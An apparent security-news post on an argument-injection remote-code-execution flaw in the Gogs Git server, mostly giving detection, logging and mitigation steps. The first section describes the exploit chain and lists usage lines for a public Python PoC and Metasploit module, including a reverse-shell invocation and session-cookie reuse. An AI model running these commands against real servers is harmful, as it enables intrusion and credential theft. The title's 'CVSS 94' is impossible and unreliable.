Critical Gogs Zero-Day (CVSS 94): Fully Automated RCE Exploit in Seconds — No Patch Available + Video

Listen to this Post

Featured Image

Introduction:

A critical zero-day vulnerability (CWE-88 argument injection) has been discovered in Gogs, a widely used self-hosted Git platform with over 50,000 GitHub stars. The flaw, affecting versions 0.14.2 and 0.15.0+dev, allows any authenticated user to execute arbitrary commands on the underlying server by injecting the `–exec` flag into the `git rebase` command during a pull request merge. With a fully functional Metasploit module and Python PoC publicly released, exploitation is trivial and can be automated in seconds.

Learning Objectives:

  • Understand the technical mechanics of argument injection in Gogs’ “Rebase before merging” operation and its exploitation pathway.
  • Learn to detect vulnerable Gogs instances, analyze exploit artifacts, and implement emergency mitigations.
  • Master forensic commands and defensive configurations to protect self-hosted Git infrastructure from supply chain compromise.

You Should Know

  1. Vulnerability Deep Dive: Argument Injection Without `–` Sanitization

The root cause lies in the `Merge()` function within internal/database/pull.go, which passes a pull request’s base branch name directly to `git rebase` without a `–` positional argument separator. When an attacker creates a branch named --exec=<command>, Git interprets the string as a command-line flag rather than a branch name. This triggers `sh -c ` after each replayed commit during the rebase operation, executing arbitrary code under the Gogs server process user — typically `git` on both Docker and binary installations.

Step‑by‑step exploit flow (Python PoC):

The public Python exploit automates the entire chain in seven steps:

  1. Pre‑flight fingerprinting: Targets `/?v=` parameter on static assets to detect Gogs version and check if registration is open or CAPTCHA‑protected.
  2. Authentication or auto‑registration: If no credentials are provided and registration is open, creates a new account automatically.
  3. Token generation: Creates an API token via Basic auth or the web settings page.
  4. Repository setup: Creates a temporary private repository via the Gogs API and enables “Rebase before merging” in settings.
  5. Malicious branch injection: Pushes three branches — `master` (with a README), `feature-` (divergent commit), and a malicious branch named `–exec=sh${IFS}.payload` containing a script that runs the attacker’s command in the background.
  6. PR trigger: Opens a pull request from the `feature-` branch into the malicious `–exec=` branch, then POSTs to the merge endpoint with merge_style=rebase_before_merging.
  7. Cleanup: Deletes the temporary repository and local temp files, leaving minimal traces.

Command examples (Python exploit usage):

 Pre-flight check only (no exploitation)
python3 gogs.py http://target:3000 --preflight-only

Auto-register + execute command
python3 gogs.py 10.0.0.1:3000 --cmd "id > /tmp/pwned.txt"

Existing account + reverse shell
python3 gogs.py 10.0.0.1:3000 -u attacker -p Password123 --listener 10.0.0.2:4444

CAPTCHA-protected instance — create account manually, then use credentials
python3 gogs.py 10.0.0.1:3000 -u myuser -pw mypassword --cmd "whoami"

Session cookie reuse (bypass login)
python3 gogs.py 10.0.0.1:3000 --cookie "i_like_gogs=abc123..." --cmd "id"

Metasploit module usage:

msf6 > use exploit/multi/http/gogs_rebase_rce
msf6 exploit(multi/http/gogs_rebase_rce) > set RHOSTS <target>
msf6 exploit(multi/http/gogs_rebase_rce) > set USERNAME <gogs_user>
msf6 exploit(multi/http/gogs_rebase_rce) > set PASSWORD <gogs_password>
msf6 exploit(multi/http/gogs_rebase_rce) > set LHOST <your_ip>
msf6 exploit(multi/http/gogs_rebase_rce) > check  should detect Gogs version
msf6 exploit(multi/http/gogs_rebase_rce) > run

Two exploitation methods are supported: `own_repo` (creates a temp repository — default) and `existing_repo` (targets a repository the attacker already has write access to). Both Linux (TARGET 0) and Windows (TARGET 2) Gogs installations are vulnerable.

2. Detection & Forensic Analysis: Identifying Compromised Instances

Given the stealthy nature of the exploit — especially when using the temporary repository method, which leaves only an HTTP 500 error in server logs — defenders must proactively hunt for indicators of compromise.

Step‑by‑step detection guide:

  1. Audit branch names for `–` prefixes: List all branches across all repositories for names beginning with --. This is the most direct indicator.
 Linux — iterate through all Gogs repositories and list branches
find /path/to/gogs-repositories -type d -name ".git" | while read repo; do
echo "=== $repo ==="
git --git-dir="$repo" branch -r | grep -E '^ --'
done

Alternative using Gogs API (requires admin token)
curl -s -H "Authorization: token <admin_token>" "https://gogs.example.com/api/v1/repos/search?private=true" | jq -r '.data[].full_name' | while read repo; do
curl -s -H "Authorization: token <admin_token>" "https://gogs.example.com/api/v1/repos/${repo}/branches" | jq -r '.[].name' | grep '^--'
done

2. Inspect Gogs server logs for `–exec` patterns:

 Linux — search Gogs log directory
grep -r "git checkout '--exec=" /path/to/gogs/log/
grep -r "exit status 128" /path/to/gogs/log/

Windows PowerShell
Select-String -Path "C:\gogs\log\" -Pattern "--exec="

The vulnerability triggers ERROR-level log entries with patterns like git checkout '--exec=<...>': exit status 128.

  1. Monitor user token lists for suspicious entries: Attackers often generate API tokens during exploitation. Check `/-/user/settings/applications` for unexpected tokens with `msf_` naming patterns.

  2. Review PR histories on sensitive repositories: For repositories where rebase merging was not previously enabled, check when the setting was toggled and by whom.

 Audit Gogs configuration file for recent changes
stat /path/to/gogs/conf/app.ini
tail -n 50 /path/to/gogs/conf/app.ini | grep -E "REBASE|MERGE"

Network‑based detection (Snort/Suricata rule):

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS
(msg:"Gogs RCE Attempt — --exec injection in PR merge";
flow:to_server,established;
content:"POST"; http_method;
content:"/repos/"; http_uri;
content:"/pulls/"; http_uri;
content:"/merge"; http_uri;
content:"rebase_before_merging"; http_client_body;
pcre:"/branch[\x22\x27]?[^\x22\x27]--exec=/i";
sid:2026052901; rev:1;)

3. Emergency Mitigation: No Patch, No Excuse

At the time of publication, no official patch exists despite Rapid7 reporting the vulnerability to Gogs maintainers on March 17, 2026. Organizations must apply immediate configuration hardening.

Step‑by‑step mitigation guide:

1. Block untrusted user registration (highest priority):

Edit `/path/to/gogs/conf/app.ini`:

[bash]
DISABLE_REGISTRATION = true  Blocks new account creation
REGISTER_EMAIL_CONFIRM = false
REGISTER_MANUAL_CONFIRM = false

Restart Gogs service:

 Linux (systemd)
sudo systemctl restart gogs

Docker
docker restart <gogs_container>

Windows
net stop gogs && net start gogs

2. Prevent users from creating new repositories:

[bash]
MAX_CREATION_LIMIT = 0  Users cannot create any repositories

⚠️ Note: This setting does not affect existing repositories. Attackers who already have write access to a rebase-enabled repository can still exploit the flaw directly.

  1. Audit and disable “Rebase before merging” across all repositories:
 Linux — check all Gogs repositories for rebase setting
sqlite3 /path/to/gogs/gogs.db "SELECT id,name FROM repository WHERE allow_rebase=1;" 2>/dev/null

PostgreSQL
psql -d gogs -c "SELECT id,name FROM repository WHERE allow_rebase='t';"

Manual audit via Gogs UI (admin access required)
 Navigate to each repository → Settings → Advanced → Merge Styles → uncheck "Rebase before merging"

For organisations unable to disable rebase globally, implement repository‑level access controls to restrict write permissions to trusted users only.

4. Network isolation and monitoring:

 Restrict Gogs administrative endpoints to trusted IP ranges (nginx example)
location ~ ^/(admin|api/v1/admin) {
allow 192.168.1.0/24;
allow 10.0.0.0/8;
deny all;
proxy_pass http://gogs_backend;
}

4. Windows‑Specific Exploitation & Hardening

The vulnerability affects Windows Gogs installations equally, with Metasploit supporting Windows Command and Windows Dropper targets.

Step‑by‑step Windows detection & hardening:

1. Check for exploitation artifacts on Windows:

 Find suspicious Git branches
Get-ChildItem -Path "C:\gogs\repositories\" -Recurse -Filter ".git" | ForEach-Object {
Push-Location $_.FullName
git branch -r | Select-String "^ --"
Pop-Location
}

Search Windows event logs for anomalous process creation (CommandLine contains --exec=)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} | Where-Object {
$_.Message -match "--exec="
} | Select-Object TimeCreated, Message
  1. Restrict Gogs service account permissions: The Gogs Windows service typically runs as `NT AUTHORITY\SYSTEM` or a dedicated low‑privileged user. Create a dedicated service account with minimal privileges:
 Create limited service account
New-LocalUser -Name "gogs_svc" -Password (ConvertTo-SecureString "ComplexPassword123!" -AsPlainText -Force) -PasswordNeverExpires -AccountNeverExpires
Add-LocalGroupMember -Group "Users" -Member "gogs_svc"

Remove from Administrators (if added)
Remove-LocalGroupMember -Group "Administrators" -Member "gogs_svc"

Set Gogs Windows service to use this account
sc.exe config "gogs" obj= ".\gogs_svc" password= "ComplexPassword123!"
  1. Enable Windows Defender Attack Surface Reduction (ASR) rules:
 Block process creations originating from PSExec and WMI commands
Add-MpPreference -AttackSurfaceReductionRules_Ids "d4f940ab-401b-4efc-aadc-ad5f3c50688a" -AttackSurfaceReductionRules_Actions Enabled

Block untrusted and unsigned processes that run from USB
Add-MpPreference -AttackSurfaceReductionRules_Ids "b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4" -AttackSurfaceReductionRules_Actions Enabled

5. Supply Chain Risk & API Security Hardening

Beyond immediate server compromise, the Gogs zero-day poses a severe supply chain threat. An attacker with RCE can read every repository on the instance (including private repos), dump credentials (password hashes, API tokens, SSH keys, 2FA secrets), modify any hosted repository’s code, and pivot to other network‑accessible systems.

Step‑by‑step API security hardening:

1. Restrict API token permissions:

Gogs API tokens are generated with full repository access by default. Implement token scoping if using Gogs in a CI/CD context.

 Audit existing tokens and revoke suspicious ones
curl -s -H "Authorization: token <admin_token>" "https://gogs.example.com/api/v1/users/<username>/tokens" | jq '.[] | {name, sha1, created}'

Revoke via API
curl -X DELETE -H "Authorization: token <admin_token>" "https://gogs.example.com/api/v1/users/<username>/tokens/<id>"

2. Implement webhook signing and validation:

If Gogs webhooks are used for CI/CD pipelines, attackers can intercept and modify webhook payloads.

 Configure Gogs webhook with secret (from app.ini)
[bash]
SECRET = "your_strong_webhook_secret_here"

Validate webhook signatures in receiving service (Node.js example)
const crypto = require('crypto');
const signature = req.headers['x-gogs-signature'];
const hmac = crypto.createHmac('sha256', webhookSecret);
const digest = hmac.update(JSON.stringify(req.body)).digest('hex');
if (signature !== digest) { return res.status(401).send('Invalid signature'); }

3. Isolate CI/CD runners from Gogs infrastructure:

Place CI/CD runners in a segregated network segment with no direct outbound access to the Gogs server. Use VPN or bastion hosts for any required communication.

 Example network isolation with iptables (Linux runner)
iptables -A OUTPUT -d <gogs_server_ip> -p tcp --dport 3000 -j ACCEPT
iptables -A OUTPUT -d 0.0.0.0/0 -j DROP  Block all other outbound traffic

What Undercode Say:

  • The absence of a patch 70+ days after responsible disclosure signals a fundamental security posture failure. Rapid7 reported this vulnerability on March 17, 2026. Despite multiple follow‑ups, Gogs maintainers have delivered no fix as of late May. Organisations relying on Gogs must assume indefinite vulnerability and migrate or implement compensating controls immediately.

  • The “low barrier to entry” makes this a mass‑exploitation candidate. With Shodan revealing over 1,100 internet‑facing instances and Gogs shipping with open registration and unlimited repository creation enabled by default, unauthenticated attackers can exploit this flaw in under 60 seconds. The release of a Metasploit module lowers the skill barrier to near‑zero.

Analysis: This vulnerability represents a perfect storm of attack surface, ease of exploitation, and delayed remediation. The argument injection flaw is trivial to trigger once understood, and the absence of a `–` separator is a classic input validation failure that should have been caught in design review. Organisations still running Gogs on public networks are effectively inviting compromise. The only reliable short‑term mitigations are configuration hardening (disable registration, restrict repo creation) and network isolation. Long‑term, a fork or migration to a maintained alternative (Gitea, Forgejo) should be seriously considered. The impact extends beyond the Gogs server itself — credential dumping and repository modification enable supply chain attacks that can compromise downstream customers and CI/CD pipelines.

Prediction:

  • Mass exploitation will occur within 7–10 days. With a public Metasploit module and Python PoC, threat actors will weaponise this vulnerability rapidly. Expect scanning campaigns targeting port 3000 and automated registration of throwaway accounts.

    • The vulnerability may accelerate migration to actively maintained alternatives (Gitea, Forgejo, GitLab) as enterprises reassess dependency on dormant open‑source projects with slow security response.
    • Security tooling vendors will add detection signatures for `–exec` patterns in Git rebase operations, improving overall supply chain security monitoring.
    • The incident highlights the need for mandatory SBOM (Software Bill of Materials) and vulnerability disclosure timelines in open‑source infrastructure components. Expect renewed calls for SLSA (Supply‑chain Levels for Software Artifacts) compliance for self‑hosted Git platforms.

▶️ Related Video (78% Match):

https://www.youtube.com/watch?v=4-mkdyWdE0c

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Cybersecuritynews Share – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky